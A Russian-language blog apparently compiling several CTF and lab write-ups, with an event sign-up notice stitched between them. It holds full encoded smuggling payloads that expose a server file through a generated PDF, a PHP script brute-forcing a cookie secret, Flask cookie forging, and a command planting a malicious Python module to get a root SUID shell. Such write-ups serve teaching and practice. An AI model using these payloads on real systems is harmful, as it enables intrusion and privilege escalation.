Вступление

Всем привет! Сегодня пробежимся по решению очень интересного таска с TCTF 2025 с весьма интересной цепочкой атаки.

Анализ приложения

Приложение представляет собой сервис для работы с авиабилетами. Можно пройти электронную регистрацию, зарегистрироваться в бизнес-зону и подать заявку на возврат билета:

При проведении электронной регистрации приложение возвращает нам PDF с нашим билетом:

При регистрации в бизнес-зал возвращает идентификатор бронирования

И при возврате билета – шаблонный ответ

В целом на этом все. Пару векторов на этом этапе мы уже успели прикинуть – Server Side XSS via Dynamic PDF и XXE via DOCX upload. Приступим к изучению кода.

Анализ исходников

Приложение представлено четырьмя сервисами – backend, printer, nginx, internal-balancer

В корне лежит /repair-code – его-то нам и нужно достать по легенде задания. Первым делом посмотрим на потенциал для развития XXE. За это отвечает функция process_booking() из backend/main.py

Ее код:

Из кода видно, что приложение использует библиотеку python-docx, которая по умолчанию отключает использование внешних сущностей, что режет нам потенциал развития XXE.

Идем дальше – за бронирование бизнес-зала отвечает business_lounge():

Тоже ничего интересного. Последняя остановка – boarding_pass:

Здесь уже интереснее. И пользовательский ввод, и обращение к внутреннему ресурсу. Учитывая, что наш ввод попадает на PDF, можно продолжить думать в сторону Server-Side XSS. Однако шаблон пдфки вполне себе успешно экранирует получаемые данные:

В handlebars шаблонах {{ }} используются как обработчики для экранированного ввода, а {{{ }}} – для неэкранированного. Однако в самом низу можно увидеть наличие кастомного обработчика trace:

В pdf.js можем увидеть реализацию этого кастомного обработчика:

Сама же функция генерации generateBoardingPass импортируется в server.js

Сам server.js

Анализируя код, можно придти к выводу, что сервер принимает boardingPassData и использует эти данные при генерации тикета, вызывая функцию generateBoardingPass() , при этом в генерации участвует кастомный обработчик trace – рассмотрим его чуть подробнее.

server.js принимает заголовок x-trace-id и передает его в обработчик. Далее выполняется проверка условий – если значение заголовка имеет тип string длиной 36 символов, выполняется return БЕЗ ЭКРАНИРОВАНИЯ – и этот ввод попадает в наш итоговый PDF. Если заголовка нет либо он не удовлетворяет условиям – генерируется uuid.

Как мы помним, в main.py при генерации тикета заголовок x-trace-id устанавливается явно с использованием библиотеки requests – здесь мы бессильны. Значит чтобы получить ввод без экранирования, нужно отправить запрос на printer в обход backend. Но как, если api закрыты и сервисы доступны только во внутренней подсети, а единственный интерфейс взаимодействия с ней – nginx? Пришло время посмотреть на его конфигурацию.

Сам nginx.conf перенаправляет запросы на внутренний балансировщик

В свою очередь балансировщик уже руководит общением между сервисами:

Выходит, нам нужно заслать запрос на printer/generate, не обращаясь при этом к backend и не имея доступа к внутренней сети сервисов. Уязвимость здесь кроется в том, как nginx обрабатывает запросы на API.

Эндпоинт, который вводит пользователь, напрямую попадает в URL на internal-balancer. Однако что нам мешает провернуть такой фокус:

https:///t-bedlam-d0dw3v3n.spbctf.org/api/../generate

При парсинге запроса nginx отделит $uri и направит его на internal-balancer

http://internal-balancer/../generate

При таком раскладе наш запрос напрямую попадет в printer, ведь роут generate сразу проксируется туда. Осталось лишь передать данные с заголовком x-trace-id – как нам это сделать?

Здесь на помощь приходит атака под названием CRLF Injection. Мы уже можем передавать спецсимволы в $uri, но что нам мешает передать туда спецсимволы возврата каретки и newline – \n \r? Да ничего =)

При помощи этой инъекции мы проводим атаку http smuggling – контрабандой засылаем запрос на внутренний сервис в обход бекенда.

Составляем желаемый запрос с указанием traceid – string и 36 символов длиной:

POST /api/../generate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: 123456-123456-123456-123456-123456-1

passenger=collapsz z&flight_number=1&date=1&seat=1&from=1&to=1&departure=1&arrival=1&gate=1&terminal=1

Далее нам необходимо заслать этот запрос через $uri в nginx, для этого дважды кодируем этот запрос в URL, чтобы через два хопа наш запрос все еще был функциональным, получим следующее:

POST%2520%252Fapi%252F%252E%252E%252Fgenerate%2520HTTP%252F1%252E0%250AHost%253A%2520printer%250AContent%252DLength%253A%2520101%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250AX%252DTrace%252DId%253A%2520%253Ciframe%2520src%253D%252Frepair%255Fcode%2520height%253D500%253E%250A%250Apassenger%253DJohn%2520Dowe%2526flight%255Fnumber%253D1%2526date%253D1%2526seat%253D1%2526from%253D1%2526to%253D1%2526departure%253D1%2526arrival%253D1%2526gate%253D1%2526terminal%253D1

И в самом конце запроса добавим легитимный:

GET /generate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0

Итого наш пакет выглядит как-то так:

POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3A%20%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%0A%0Apassenger%3DJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0

Обращаемся к странице:

Подменяем содержимое запроса на то, что получили на предыдущем этапе и получаем какой-то PDF документ:

Открываем PDF и видим, что X-Trace-Id там именно тот, который мы указали в своем запросе! Таким образом мы нашли способ, как повлиять на содержимое переменной, которая целиком генерировалась на бекенде, отправив контрабандный запрос на printer.

Такой трюк оказался возможен в связи с тем, что при парсинге нашего HTTP запроса nginx передал весь эндпоинт, идущий после /api на internal-balancer$uri. Далее при парсинге запроса сервер выполняет URL-декодирование и наш запрос рападается на два самостоятельных, один из которых будет обращаться к внутреннему ресурсу и, находясь в этой внутренней сети, без особых проблем его достигнет

Осталось лишь найти способ достать требуемый файл. Для этого докрутим ту самую Server-Side XSS, поможет нам в этом элемент iframe.

Готовим запрос с модифицированным X-Trace-Id: <iframe src=/repair_code onerror=12>

POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20onerror%3d12%3e%0a%0apassenger%3dJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0

Доступ к файлику мы получили, однако видим лишь его часть:

Победить это можно, например, увеличив width до 1000:

POST /api%2F%2E%2E%2Fgenerate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: <iframe src=/repair_code width=1000>

passenger=John+Dowe&flight_number=1&date=1&seat=1&from=1&to=1&departure=1&arrival=1&gate=1&terminal=1

Итоговый запрос:

POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0aHost%3a%20printer%0aContent-Length%3a%20101%0aContent-Type%3a%20application%2fx-www-form-urlencoded%0aX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20width%3d1000%3e%0a%0apassenger%3dJohn%2bDowe%26flight_number%3d1%26date%3d1%26seat%3d1%26from%3d1%26to%3d1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0

Скачиваем PDF, открываем и видим там искомый файл:

Отправляем полученный код на /repair.html

Таким образом, выстроилась следующая цепочка:

CRLF Injection -> HTTP Smuggling -> Server-Side XSS via Dynamic PDF

1. Двигаем на https://rdg.dvfu.ru и находим страничку с регистрацией

2. Создаем учетку

3. Если вы капитан команды, отправляемся во вкладку "Команда". Если вы не являетесь капитаном команды, можете сразу перейти к пункту 5

4. Cоздаем команду. (!!!Используйте то название, которое указывали при регистрации команды в Яндекс Форме). После этого копируем и рассылаем код приглашения участникам вашей команды

5. Если вы не капитан – тыкаем присоединиться и вставляем код команды, полученный ранее от капитана

6. Далее отправляемся во вкладку игры, выбираем свой зачет и присоединяемся, выбрав ту команду, которую вы зарегистрировали для участия

7. Ждем открытия платформы и появления заданий!

Так же обязательно поделитесь со своей командой ссылкой на наш канал и чат, если они туда еще не вступили:

https://t.me/RDGCTF – канал

https://t.me/+1T4ledKtHVxjYzMy – чат

Введение

Всем привет!

Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату Crypto Failures.

Решение

Заносим IP-адрес машины в /etc/hosts

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47]
└─[130] echo '10.10.0.83 crypto.thm' | sudo tee -a /etc/hosts
10.10.0.83 crypto.thm

Сканирование показало классическую ситуацию: открыты порты 22 и 80:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47]
└─[130] nmap -A crypto.thm -oN nmap/crypto
# Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83
Warning: 10.10.0.83 giving up on port because retransmission cap hit (2).
Nmap scan report for crypto.thm (10.10.0.83)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA)
|_  256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to /
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

На веб-интерфейсе сначала получаем куку:

Затем получаем информацию о некоем .bak файлике:

Шустренько его находим:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43]
└─[0] ffuf -u 'http://crypto.thm/FUZZ.bak' -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://crypto.thm/FUZZ.bak
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms]
.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms]
index.php               [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]

Забираем файл себе и приступаем к его изучению. That's where it becomes intetesting:

<?php

$target_url = "http://crypto.thm/";

$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$try = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $req = stream_req_create([
        "http" => [
            "method" => "GET",
            "header" =>
                "Host: crypto.thm\r\n" .
                "User-Agent: $user_agent\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
                "Accept-Language: en-US,en;q=0.5\r\n" .
                "Accept-Encoding: gzip, deflate, br\r\n" .
                "Connection: close\r\n" .
                "Upgrade-Insecure-Requests: 1\r\n"
        ]
    ]);

    $response = file_get_contents($target_url, false, $req);
    foreach ($http_response_header as $header) {
        if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
            preg_match('/secure_cookie=([^;]+)/', $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
                die("URL-encoded characters detected in secure_cookie!\n");
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = "";
while (true) {
    echo "\nCurrent key: {$found_text}\n";

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat("A", strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die("Failed to retrieve secure_cookie!\n");
    }

    echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $temp = substr($try, 1) . $char;
        print($temp . "\n");

        $hashed_test = crypt($temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo "Found character: $char\n";
            $found_text .= $char;
            $try = $temp;
            echo $try . "\n";
            echo $hashed_test . "\n";
            break;
        }
    }
}

?>

При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки user=guest для доступа к странице и какую-то secure_cookie:

Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/

И в index.php.bak видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:

<?php
include('config.php');

В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них.

Первой функцией объявляется generate_cookie:

function generate_cookie($user,$ENC_SECRET_KEY) {
    $SALT=generatesalt(2);
    $secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY; 
    $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
    setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false);
    setcookie("user","$user",time()+3600,'/','',false);
}

По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:

$SALT=generatesalt(2); генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();

function generatesalt($n) {
$randomString='';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for ($i = 0; $i < $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}

$secure_cookie_string составляет строку по принципу user:user_agent:<secret_key>. При этом user берется из присвоенной ранее куки user, а ключ нам неизвестен.

$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT); вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:

function make_secure_cookie($text,$SALT) {
$secure_cookie='';
foreach ( str_split($text,8) as $el ) {
    $secure_cookie .= cryptstring($el,$SALT);
}

Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():

function cryptstring($what,$SALT){
return crypt($what,$SALT);
}

Функция crypt используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.

После всех этих процедур строка складывается воедино и отдается пользователю заголовком Set-Cookie.

Далее – verify_cookie():

function verify_cookie($ENC_SECRET_KEY){
    $crypted_cookie=$_COOKIE['secure_cookie'];
    $user=$_COOKIE['user'];
    $string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;

    $salt=substr($_COOKIE['secure_cookie'],0,2); 

    if(make_secure_cookie($string,$salt)===$crypted_cookie) {
        return true;
    } else {
        return false;
    }
}

Извлекаются куки secure_cookie и user, затем с использованием юзер-агента, куки user и enc_secret_key собирается $string, после чего из $string извлекается соль, с использованием этой соли генерируется "валидная" кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом:

1. При посещении страницы назначаются куки user и secure_cookie
2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:
1. Генерируется двухсимвольная соль
2. Формируется строка user:user_agent:<enc_key>
3. Полученная строка разбивается на чанки по 8 символов
4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()
5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie
3. При валидации куки сервер извлекает из secure_cookie подстроку – соль
4. При помощи извлеченной подстроки и куки user генерируется "валидная" кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie

Таким образом, генерация "валидной" куки происходит на "фронте" – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.

Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки:

secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa

Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки:

При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] cat generator.php 
<?php
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:<se
cret_key
>

Аналогично для хешированных чанков:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07]
└─[0] cat generator.php
<?php
$salt = 'iC';
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10]
└─[0] php generator.php
iCRBzB77Hs5CI
iCn5Awl7w6rFw
iCERGwsGetCzI
iCk7o1dhvzXFE
iCjjU3kvjir66
iCqMY9s22hA/s
iCmjKeKIZ8uW2
iCE0IRfzX3s1M
iC8UC6cyvBsUU
iCLXGAf95OnrA
iCKZQ6AfAA.wg
iCdfLie1MKVE2

Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.

Для эксплуатации первого этапа нам нужно подменить первый чанк на "вредоносный" – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22]
└─[0] cat generator.php            
<?php
$salt = 'iC';
$string = 'admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24]
└─[0] php generator.php | head -n 1
iCjrMyPrACzWM

Возвращаемся на веб-сервер:

И заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки user меняем на admin:

Теперь, сервер извлечет из куки user значение admin и выполнит проверку с солью iC, а сгенерированная в результате кука ничем не будет отличаться от нашей.

Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:<se
cret_key
>

Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34]
└─[0] cat generator.php  
<?php
$salt = 'iC';
$string = 'admin::<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36]
└─[0] php generator.php            
admin::<
secret_k
ey>

Видим, что в первом чанке теперь юзернейм, два двоеточия и последний символ принадлежит неизвестному секретному ключу, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ

Таким образом наш план действий:

1. Отправить запрос с пустым юзер-агентом и получить новую куку
2. Вычленить из нее первый чанк
3. Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа
4. Локально хешируем чанк admin::<symbol> до тех пор, пока не получим такой же чанк, как в куке
5. После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем
6. Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ
7. Повторить процедуру до получения полного секрета

Шаг 1. Получили куку

Шаг 2. Первый чанк

Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44]
└─[0] cat brute.php    
<?php
$salt = 'fw';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

foreach (str_split($characters) as $char) {
    $string = "guest::$char";
    foreach (str_split($string, 8) as $el) {
        echo $el . "::" . crypt($el, $salt) . "\n";
    }
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48]
└─[0] php brute.php | grep fw1OtzoFC4VJM
guest::T::fw1OtzoFC4VJM

Уже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все.

<?php

$target_url = "http://crypto.thm/";

$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$test_string = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $context = stream_context_create([
        "http" => [
            "method" => "GET",
            "header" =>
                "Host: crypto.thm\r\n" .
                "User-Agent: $user_agent\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
                "Accept-Language: en-US,en;q=0.5\r\n" .
                "Accept-Encoding: gzip, deflate, br\r\n" .
                "Connection: close\r\n" .
                "Upgrade-Insecure-Requests: 1\r\n"
        ]
    ]);

    $response = file_get_contents($target_url, false, $context);

    foreach ($http_response_header as $header) {
        if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
            preg_match('/secure_cookie=([^;]+)/', $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
                die("URL-encoded characters detected in secure_cookie!\n");
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = "";
while (true) {
    echo "\nCurrent key: {$found_text}\n";

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat("A", strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die("Failed to retrieve secure_cookie!\n");
    }

    echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $test_string_temp = substr($test_string, 1) . $char;
        print($test_string_temp . "\n");

        $hashed_test = crypt($test_string_temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo "Found character: $char\n";
            $found_text .= $char;
            $test_string = $test_string_temp;
            echo $test_string . "\n";
            echo $hashed_test . "\n";
            break;
        }
    }
}

?>

Подождав несколько минут, успешно сдампим 154-символьный флаг:/

P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!

Вступление

Всем привет!

Совсем недавно завершился чемпионат России по программированию систем информационной безопасности, ребята показали крутые результаты и классно выступили.

Мы же в сегодняшнем материале разберем одно из заданий, которое мне довелось подготовить. Относится оно к категории Pentest и за время соревнований поддалось лишь трем командам.

Помчали.

Решение

В описании к задаче дан IP и порт, сканировать тут нечего, поэтому сразу двигаем на веб

Написано оно на пайтоне

Проходим несложную регистрацию и получаем доступ к функционалу приложения – генератор паролей и случайных числ.

Негусто. Однако помимо доступов к приложению нам была присвоена сессионная кука

И кука эта оказалась защищена слабым секретом, который успешно сбрутился при помощи модуля flask_unsign. Секретом оказался manchester.

Секрет – текстовая строка, известная серверу, при помощи которой происходит подпись cookie. Именно с использованием него сервер расшифровывает и проверяет валидность куки. Утечка или слабый секрет могут привести к получению несанкционированого доступа к функционалу приложения, что и произошло в этом задании.

Кука содержит в себе юзернейм, юзер-айди и булеан параметр id_vip_user, коим мы не являемся

Однако, имея секрет, мы можем создать и подписать куку, положив туда свои данные. Делается это при помощи все того же flask_unsign:

python3 -m flask_unsign --sign --secret manchester -c <data> 

Подписываем, вставляем в браузер и получаем доступ к новому функционалу приложения – to-do листу и Kittys's gallery

To-do в себе чего-то интересного не содержит

А Kitty's gallery содержит в себе фото котят. Не соврали в названии, выходит

Но интересны здесь не столько сами котята, сколько обращение к апи при подгрузке станицы:

Еще и v2. А что если понизить версию до v1? В таком случае api требует некий параметр file:

И здесь мы получаем Arbitrary File Read:

Но что делать дальше? SSH на машине не запущен, никаких паролей учетных записей мы не находили, как добраться до заветного RCE?

На хабре есть крутой материал о том, как можно раскрутить AFR до RCE используя алгоритм генерации debug pin, к этому способу мы и прибегнем. Полностью дублировать статью я не буду, ознакомиться с ней детально можно по ссылке выше, но вкратце вот, что нам нужно собрать:

• username –> /etc/passwd
• modname –> flask.app by default
• flask path –> можно найти, вызвав ошибку в приложении. Например, попытаться прочитать /etc/shadow
• MAC –> /sys/class/net/eth0/address
• machine id –> /etc/machineid + /proc/self/cgroup

Собрав все необходимые данные, клонируем себе Werkzeuger и запускаем генерацию пина на основе имеющихся данных:

В результате работы скрипта получаем несколько пинов:

Прежде чем перейти дальше, нужно разобраться с ошибкой:

Многие писали с вопросом "а работает ли приложение? там 400 ответ на /console". Приложение работает, а 400 ошибка связана с небольшой особенностью debug режима во фласке. Чтобы победить этот этап просто подменяем заголовок Host с IP на localhost:

И здесь, наконец, получаем то заветное RCE:

Пробрасываем себе шелл любым удобным рабочим способом и оказываемся в системе:

Мы находимся под пользователем app, осталось всего-то повыситься до root =)

После перечисления ресурсов системы, с поиском вектора повышения могло повезти, а могло не повезти. Гарантированный способ увидеть что-то неладное – мониторинг процессов при помощи pspy:

Раз в три минуты запускается некий скрипт /root/healthcheck.sh, похожую директорию можно было найти в /opt. А подождав еще немного, можно было увидеть, как от имени рута выполняется rm-rf по директории /opt/healthcheck/*, после чего туда записывается и выполняется какой-то скрипт, после чего снова rm -rf /opt/healthcheck/*.

Поймать тайминг и прочитать скрипт – наша первичная цель:

Скрипт безобиден и просто собирает информацию о состоянии системы, однако можно увидеть, что он импортирует 4 сторонних модуля и выполняется от имени рута. А права-то на директорию у нас rwx.

Python берет модули из определенного набора директорий, начиная с текущей, поэтому права 777 на неё – недопустимая конфигурация. Таким образом, нашла задача поймать первый rm -rf, дождаться записи скрипта и подложить к нему свой, вредоносный – к примеру, psutils.py.

Дожидаемся очередную итерацию крона и пишем скрипт:

echo "import os; os.system('cp /bin/bash /tmp/bash && chmod +s /tmp/bash')" > /opt/healthcheck/psutil.py

Скрипт healthcheck.py отработает с ошибкой, но подарит нам бинарник bash, принадлежащий руту и повесит на него SUID.

SUID-бит – конфигурация прав в *nix, позволяющая запускать файл, на котором он установлен, с правами владельца этого файла. Если владелец root – с правами root, пользователь app – с правами app.

Дожидаемся, проверяем, запускаем.

Заключение

На этом сегодняшнее чтиво с большим количеством картинок подходит к концу. Shoutout to @anodev за его First Blood на этой машинке, а так же к ребятам из ИТМО, которые сделали это ровно на две минуты позже. Ваша гонка на этой машине была незабываемой =)

Вступление

Всем привет!

27 октября завершился VIII Кубок CTF России, по результатам которого наша команда заняла 7 место. В сегодняшнем материале я хотел бы разобрать одну интересную цепочку, которую нам удалось реализовать в ходе решения задания Konstrukt вместе с @anodev.

Ставим одноименный трек на фон и помчали!

Решение

